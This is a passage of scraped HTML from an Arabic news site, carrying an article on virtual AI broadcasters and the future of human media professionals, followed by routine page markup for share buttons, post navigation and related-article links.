\u0627\u0644\u0645\u0642\u062f\u0645 \u0639\u0628\u0631 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0628\u0627\u0644\u0645\u0639\u0627\u064a\u064a\u0631 \u0627\u0644\u0623\u062e\u0644\u0627\u0642\u064a\u0629 \u0648\u0627\u0644\u0645\u0647\u0646\u064a\u0629.\r\n\r\n\u0648\u064a\u062a\u0631\u0627\u0641\u0642 \u0647\u0630\u0627 \u0627\u0644\u062a\u0648\u062c\u0647 \u0645\u0639 \u0636\u0631\u0648\u0631\u0629 \u062a\u0637\u0648\u064a\u0631 \u0628\u0631\u0627\u0645\u062c \u062a\u062f\u0631\u064a\u0628\u064a\u0629 \u0644\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646\u060c \u0644\u0636\u0645\u0627\u0646 \u062c\u0627\u0647\u0632\u064a\u062a\u0647\u0645 \u0641\u064a \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0647\u0630\u0647 \u0627\u0644\u0623\u062f\u0648\u0627\u062a \u0628\u0643\u0641\u0627\u0621\u0629 \u0648\u062a\u0648\u0627\u0632\u0646 \u0628\u064a\u0646 \u0627\u0644\u062a\u0642\u0646\u064a\u0629 \u0648\u0627\u0644\u0631\u0633\u0627\u0644\u0629 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629.\r\n\r\n\u0648\u0641\u064a\u0645\u0627 \u064a\u062e\u0635 \u0645\u0633\u062a\u0642\u0628\u0644 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646 \u0645\u0639 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a\u060c \u064a\u0624\u0643\u062f \u0639\u062f\u0644\u064a \u0623\u0646 \u0627\u0644\u0646\u0642\u0627\u0628\u0629 \u0644\u0627 \u062a\u0631\u0627\u0647 \u062a\u0647\u062f\u064a\u062f\u064b\u0627\u060c \u0628\u0644 \u0641\u0631\u0635\u0629 \u0643\u0628\u064a\u0631\u0629 \u0644\u062a\u0637\u0648\u064a\u0631 \u0627\u0644\u0623\u062f\u0627\u0621 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u060c \u0628\u0634\u0631\u0637 \u0623\u0646 \u064a\u064f\u062d\u0633\u0646 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0648\u0646 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0647\u0630\u0647 \u0627\u0644\u0623\u062f\u0648\u0627\u062a.\r\n\r\n\u0641\u0627\u0644\u0645\u0647\u0627\u0631\u0627\u062a \u0627\u0644\u062c\u062f\u064a\u062f\u0629\u060c \u0645\u062b\u0644 \u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0648\u062a\u062d\u0633\u064a\u0646 \u062c\u0648\u062f\u0629 \u0627\u0644\u0625\u0646\u062a\u0627\u062c\u060c \u0623\u0635\u0628\u062d\u062a \u0623\u0633\u0627\u0633\u064a\u0629\u060c \u0644\u0643\u0646\u0647\u0627 \u0644\u0627 \u062a\u0644\u063a\u064a \u0623\u0647\u0645\u064a\u0629 \u0627\u0644\u062a\u062d\u0644\u064a\u0644 \u0648\u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a \u0648\u0642\u0631\u0627\u0621\u0629 \u0627\u0644\u0633\u064a\u0627\u0642\u0627\u062a \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u0629 \u0648\u0627\u0644\u062b\u0642\u0627\u0641\u064a\u0629.\r\n\r\n\u0648\u064a\u062e\u062a\u062a\u0645 \u0628\u0627\u0644\u062a\u0623\u0643\u064a\u062f \u0639\u0644\u0649 \u0648\u062c\u0648\u062f \u0646\u064a\u0629 \u062f\u0627\u062e\u0644 \u0627\u0644\u0646\u0642\u0627\u0628\u0629 \u0644\u0648\u0636\u0639 \u0645\u062f\u0648\u0646\u0629 \u0633\u0644\u0648\u0643 \u0648\u0625\u0631\u0634\u0627\u062f\u0627\u062a \u0645\u0647\u0646\u064a\u0629 \u0648\u0627\u0636\u062d\u0629\u060c \u062a\u062a\u0636\u0645\u0646: \u0636\u0648\u0627\u0628\u0637 \u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u064a\u0646\u060c \u0622\u0644\u064a\u0627\u062a \u0644\u0636\u0645\u0627\u0646 \u0627\u0644\u0627\u0644\u062a\u0632\u0627\u0645 \u0627\u0644\u0645\u0647\u0646\u064a\u060c \u0628\u0631\u0627\u0645\u062c \u062a\u062f\u0631\u064a\u0628\u064a\u0629 \u0644\u0644\u062c\u064a\u0644 \u0627\u0644\u062c\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646\u060c \u0644\u064a\u0643\u0648\u0646\u0648\u0627 \u0645\u0624\u0647\u0644\u064a\u0646 \u0644\u0644\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0633\u0648\u0642 \u0625\u0639\u0644\u0627\u0645\u064a \u0645\u062a\u063a\u064a\u0631 \u0644\u0627 \u064a\u064f\u0642\u0635\u064a \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u060c \u0628\u0644 \u064a\u062a\u0637\u0644\u0628 \u0645\u0646\u0647 \u0627\u0644\u062a\u0637\u0648\u0631 \u0627\u0644\u0645\u0633\u062a\u0645\u0631.\r\n\r\n\u00a0\u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u0648\u0627\u0642\u0639 \u0644\u0627 \u0645\u0641\u0631 \u0645\u0646\u0647\u060c \u0648\u062a\u0642\u0646\u064a\u0629 \u062a\u062a\u0637\u0648\u0631 \u0628\u0633\u0631\u0639\u0629 \u0645\u0630\u0647\u0644\u0629\u060c \u0648\u0642\u062f \u062a\u0641\u0631\u0636 \u0646\u0641\u0633\u0647\u0627 \u0641\u064a \u0645\u0633\u0627\u062d\u0627\u062a \u0648\u0627\u0633\u0639\u0629 \u0645\u0646 \u0627\u0644\u0625\u0639\u0644\u0627\u0645. \u0644\u0643\u0646 \u0631\u063a\u0645 \u0630\u0644\u0643\u060c \u062a\u0628\u0642\u0649 \u0644\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u0643\u0627\u0631\u064a\u0632\u0645\u0627 \u062e\u0627\u0635\u0629\u060c \u0648\u062f\u0641\u0621 \u0625\u0646\u0633\u0627\u0646\u064a\u060c \u0648\u062a\u0641\u0627\u0639\u0644 \u062d\u064a \u0644\u0627 \u064a\u0645\u0643\u0646 \u062a\u0642\u0644\u064a\u062f\u0647 \u0623\u0648 \u0628\u0631\u0645\u062c\u062a\u0647\u060c \u0641\u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0642\u062f \u064a\u062d\u0641\u0638 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0629\u060c \u064a\u0646\u0633\u0651\u0642\u0647\u0627\u060c \u064a\u0639\u0631\u0636\u0647\u0627\u060c \u0628\u0644 \u0648\u0631\u0628\u0645\u0627 \u064a\u062a\u0642\u0646 \u0627\u0644\u0625\u0644\u0642\u0627\u0621 \u0648\u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0627\u0644\u0633\u0637\u062d\u064a\u060c \u0644\u0643\u0646\u0647 \u064a\u0638\u0644 \u201c\u0628\u0644\u0627 \u0631\u0648\u062d\u201d\u060c \u0641\u064a \u062d\u064a\u0646 \u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u062d\u0642\u064a\u0642\u064a \u064a\u064f\u0634\u0628\u0647 \u0627\u0644\u0642\u0635\u064a\u062f\u0629 \u0627\u0644\u062d\u064a\u0651\u0629\u060c \u062a\u0646\u0628\u0636 \u0628\u0643\u0644 \u0643\u0644\u0645\u0629\u060c \u0648\u062a\u0646\u0642\u0644 \u0627\u0644\u0645\u0639\u0646\u0649 \u0648\u0627\u0644\u0645\u0634\u0627\u0639\u0631","publisher":{"@id":"#Publisher","@type":"Organization","name":"tahkoom.com","logo":{"@type":"ImageObject","url":"https:\/\/tahkoom.com\/wp-content\/uploads\/2025\/05\/\u062a\u062d\u0643\u0645.png"},"sameAs":["https:\/\/www.facebook.com\/share\/1QKWyPHszc\/?mibextid=wwXIfr","https:\/\/www.instagram.com\/tahkom_?igsh=NGZzYjF0N3N3dWcy&utm_source=qr"]},"sourceOrganization":{"@id":"#Publisher"},"copyrightHolder":{"@id":"#Publisher"},"mainEntityOfPage":{"@type":"WebPage","@id":"https:\/\/tahkoom.com\/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85\/","breadcrumb":{"@id":"#Breadcrumb"}},"author":{"@type":"Person","name":"tahkoom web","url":"https:\/\/tahkoom.com\/author\/tahkoom\/"},"image":{"@type":"ImageObject","url":"https:\/\/tahkoom.com\/wp-content\/uploads\/2025\/06\/a07eca69-80d6-4b82-840d-6dcc17c803cf.jpeg","width":1536,"height":1024}}</script>
		<div class="toggle-post-content clearfix">
			<a id="toggle-post-button" class="button" href="#">
				اظهر المزيد <span class="tie-icon-angle-down"></span>
			</a>
		</div><!-- .toggle-post-content -->
		<script type="text/javascript">
			var $thisPost = document.getElementById('the-post');
			$thisPost = $thisPost.querySelector('.entry');

			var $thisButton = document.getElementById('toggle-post-button');
			$thisButton.addEventListener( 'click', function(e){
				$thisPost.classList.add('is-expanded');
				$thisButton.parentNode.removeChild($thisButton);
				e.preventDefault();
			});
		</script>
		

		<div id="share-buttons-bottom" class="share-buttons share-buttons-bottom">
			<div class="share-links  icons-only">
										<div class="share-title">
							<span class="tie-icon-share" aria-hidden="true"></span>
							<span> شاركها</span>
						</div>
						
				<a href="https://www.facebook.com/sharer.php?u=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="فيسبوك" target="_blank" class="facebook-share-btn " data-raw="https://www.facebook.com/sharer.php?u={post_link}">
					<span class="share-btn-icon tie-icon-facebook"></span> <span class="screen-reader-text">فيسبوك</span>
				</a>
				<a href="https://twitter.com/intent/tweet?text=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="‫X" target="_blank" class="twitter-share-btn " data-raw="https://twitter.com/intent/tweet?text={post_title}&amp;url={post_link}">
					<span class="share-btn-icon tie-icon-twitter"></span> <span class="screen-reader-text">‫X</span>
				</a>
				<a href="https://www.linkedin.com/shareArticle?mini=true&#038;url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;title=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="لينكدإن" target="_blank" class="linkedin-share-btn " data-raw="https://www.linkedin.com/shareArticle?mini=true&amp;url={post_full_link}&amp;title={post_title}">
					<span class="share-btn-icon tie-icon-linkedin"></span> <span class="screen-reader-text">لينكدإن</span>
				</a>
				<a href="https://www.tumblr.com/share/link?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;name=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="‏Tumblr" target="_blank" class="tumblr-share-btn " data-raw="https://www.tumblr.com/share/link?url={post_link}&amp;name={post_title}">
					<span class="share-btn-icon tie-icon-tumblr"></span> <span class="screen-reader-text">‏Tumblr</span>
				</a>
				<a href="https://pinterest.com/pin/create/button/?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;description=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;media=https://tahkoom.com/wp-content/uploads/2025/06/a07eca69-80d6-4b82-840d-6dcc17c803cf.jpeg" rel="external noopener nofollow" title="بينتيريست" target="_blank" class="pinterest-share-btn " data-raw="https://pinterest.com/pin/create/button/?url={post_link}&amp;description={post_title}&amp;media={post_img}">
					<span class="share-btn-icon tie-icon-pinterest"></span> <span class="screen-reader-text">بينتيريست</span>
				</a>
				<a href="https://reddit.com/submit?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;title=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F" rel="external noopener nofollow" title="‏Reddit" target="_blank" class="reddit-share-btn " data-raw="https://reddit.com/submit?url={post_link}&amp;title={post_title}">
					<span class="share-btn-icon tie-icon-reddit"></span> <span class="screen-reader-text">‏Reddit</span>
				</a>
				<a href="https://vk.com/share.php?url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="‏VKontakte" target="_blank" class="vk-share-btn " data-raw="https://vk.com/share.php?url={post_link}">
					<span class="share-btn-icon tie-icon-vk"></span> <span class="screen-reader-text">‏VKontakte</span>
				</a>
				<a href="https://connect.ok.ru/dk?st.cmd=WidgetSharePreview&#038;st.shareUrl=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/&#038;description=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;media=https://tahkoom.com/wp-content/uploads/2025/06/a07eca69-80d6-4b82-840d-6dcc17c803cf.jpeg" rel="external noopener nofollow" title="Odnoklassniki" target="_blank" class="odnoklassniki-share-btn " data-raw="https://connect.ok.ru/dk?st.cmd=WidgetSharePreview&st.shareUrl={post_link}&amp;description={post_title}&amp;media={post_img}">
					<span class="share-btn-icon tie-icon-odnoklassniki"></span> <span class="screen-reader-text">Odnoklassniki</span>
				</a>
				<a href="https://getpocket.com/save?title=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;url=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="‫Pocket" target="_blank" class="pocket-share-btn " data-raw="https://getpocket.com/save?title={post_title}&amp;url={post_link}">
					<span class="share-btn-icon tie-icon-get-pocket"></span> <span class="screen-reader-text">‫Pocket</span>
				</a>
				<a href="mailto:?subject=%D9%85%D8%B0%D9%8A%D8%B9%20%D9%85%D9%86%20%D9%83%D9%88%D8%AF%E2%80%A6%D9%85%D9%86%20%D8%A7%D9%84%D8%A3%D8%B3%D8%AA%D9%88%D8%AF%D9%8A%D9%88%20%D8%A5%D9%84%D9%89%20%D8%A7%D9%84%D8%AE%D9%88%D8%A7%D8%B1%D8%B2%D9%85%D9%8A%D8%A9%3A%20%D8%A7%D9%84%D9%85%D8%B0%D9%8A%D8%B9%20%D8%A7%D9%84%D8%A7%D9%81%D8%AA%D8%B1%D8%A7%D8%B6%D9%8A%20%D8%AB%D9%88%D8%B1%D8%A9%20%D8%AA%D9%82%D9%86%D9%8A%D8%A9%20%D8%A3%D9%85%20%D8%A7%D8%BA%D8%AA%D9%8A%D8%A7%D9%84%20%D9%84%D9%84%D9%87%D9%88%D9%8A%D8%A9%20%D8%A7%D9%84%D8%A5%D8%B9%D9%84%D8%A7%D9%85%D9%8A%D8%A9%D8%9F&#038;body=https://tahkoom.com/%d9%85%d8%b0%d9%8a%d8%b9-%d9%85%d9%86-%d9%83%d9%88%d8%af%d9%85%d9%86-%d8%a7%d9%84%d8%a3%d8%b3%d8%aa%d9%88%d8%af%d9%8a%d9%88-%d8%a5%d9%84%d9%89-%d8%a7%d9%84%d8%ae%d9%88%d8%a7%d8%b1%d8%b2%d9%85/" rel="external noopener nofollow" title="مشاركة عبر البريد" target="_blank" class="email-share-btn " data-raw="mailto:?subject={post_title}&amp;body={post_link}">
					<span class="share-btn-icon tie-icon-envelope"></span> <span class="screen-reader-text">مشاركة عبر البريد</span>
				</a>
				<a href="#" rel="external noopener nofollow" title="طباعة" target="_blank" class="print-share-btn " data-raw="#">
					<span class="share-btn-icon tie-icon-print"></span> <span class="screen-reader-text">طباعة</span>
				</a>			</div><!-- .share-links /-->
		</div><!-- .share-buttons /-->

		
	</article><!-- #the-post /-->

	
	<div class="post-components">

		<div class="prev-next-post-nav container-wrapper media-overlay">
			<div class="tie-col-xs-6 prev-post">
				<a href="https://tahkoom.com/%d9%88%d8%b2%d9%8a%d8%b1-%d8%a7%d9%84%d8%a7%d8%aa%d8%b5%d8%a7%d9%84%d8%a7%d8%aa-%d9%88%d8%aa%d9%83%d9%86%d9%88%d9%84%d9%88%d8%ac%d9%8a%d8%a7-%d8%a7%d9%84%d9%85%d8%b9%d9%84%d9%88%d9%85%d8%a7%d8%aa-2/" style="background-image: url(https://tahkoom.com/wp-content/uploads/2025/06/WhatsApp-Image-2025-06-05-at-22.00.21_2178f6d2-390x220.jpg)" class="post-thumb" rel="prev">
					<div class="post-thumb-overlay-wrap">
						<div class="post-thumb-overlay">
							<span class="tie-icon tie-media-icon"></span>
							<span class="screen-reader-text">وزير الاتصالات وتكنولوجيا المعلومات: نُخطط لمستقبل رقمي لا يعتمد على الورق”</span>
						</div>
					</div>
				</a>

				<a href="https://tahkoom.com/%d9%88%d8%b2%d9%8a%d8%b1-%d8%a7%d9%84%d8%a7%d8%aa%d8%b5%d8%a7%d9%84%d8%a7%d8%aa-%d9%88%d8%aa%d9%83%d9%86%d9%88%d9%84%d9%88%d8%ac%d9%8a%d8%a7-%d8%a7%d9%84%d9%85%d8%b9%d9%84%d9%88%d9%85%d8%a7%d8%aa-2/" rel="prev">
					<h3 class="post-title">وزير الاتصالات وتكنولوجيا المعلومات: نُخطط لمستقبل رقمي لا يعتمد على الورق”</h3>
				</a>
			</div>

			
			<div class="tie-col-xs-6 next-post">
				<a href="https://tahkoom.com/%d8%b1%d8%a4%d9%8a%d8%a9-%d8%b3%d9%8a%d9%86%d9%85%d8%a7%d8%a6%d9%8a%d8%a9-%d8%ac%d8%af%d9%8a%d8%af%d8%a9-%d9%84%d8%b9%d9%84%d8%a7%d9%82%d8%a9-%d8%a7%d9%84%d8%a8%d8%b4%d8%b1-%d8%a8%d8%a7%d9%84%d8%aa/" style="background-image: url(https://tahkoom.com/wp-content/uploads/2025/06/WhatsApp-Image-2025-06-06-at-22.41.16_7cac4d9a-390x220.jpg)" class="post-thumb" rel="next">
					<div class="post-thumb-overlay-wrap">
						<div class="post-thumb-overlay">
							<span class="tie-icon tie-media-icon"></span>
							<span class="screen-reader-text">رؤية سينمائية جديدة لعلاقة البشر بالتكنولوجيا</span>
						</div>
					</div>
				</a>

				<a href="https://tahkoom.com/%d8%b1%d8%a4%d9%8a%d8%a9-%d8%b3%d9%8a%d9%86%d9%85%d8%a7%d8%a6%d9%8a%d8%a9-%d8%ac%d8%af%d9%8a%d8%af%d8%a9-%d9%84%d8%b9%d9%84%d8%a7%d9%82%d8%a9-%d8%a7%d9%84%d8%a8%d8%b4%d8%b1-%d8%a8%d8%a7%d9%84%d8%aa/" rel="next">
					<h3 class="post-title">رؤية سينمائية جديدة لعلاقة البشر بالتكنولوجيا</h3>
				</a>
			</div>

			</div><!-- .prev-next-post-nav /-->
	

				<div id="related-posts" class="container-wrapper has-extra-post">

					<div class="mag-box-title the-global-title">
						<h3>مقالات ذات صلة</h3>
					</div>

					<div class="related-posts-list">

					
							<div class="related-item tie-standard">

								
			<a aria-label="هل يعمل الذكاء الاصطناعي بدلا منا ؟مهن تتوارى  واخرى تنهض" href="https://tahkoom.com/%d9%87%d9%84-%d9%8a%d8%b9%d9%85%d9%84-%d8%a7%d9%84%d8%b0%d9%83%d8%a7%d8%a1-%d8%a7%d9%84%d8%a7%d8%b5%d8%b7%d9%86%d8%a7%d8%b9%d9%8a-%d8%a8%d8%af%d9%84%d8%a7-%d9%85%d9%86%d8%a7-%d8%9f%d9%85%d9%87%d9%86/" class="post-thumb"><img width="390" height="220" src="https://tahkoom.com/wp-content/uploads/2025/06/img_1533-1-390x220.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="" decoding="async" srcset="https://tahkoom.com/wp-content/uploads/2025/06/img_1533-1-390x220.jpg 390w, https://tahkoom.com/wp-content/uploads/2025/06/img_1533-1-300x169.jpg 300w, 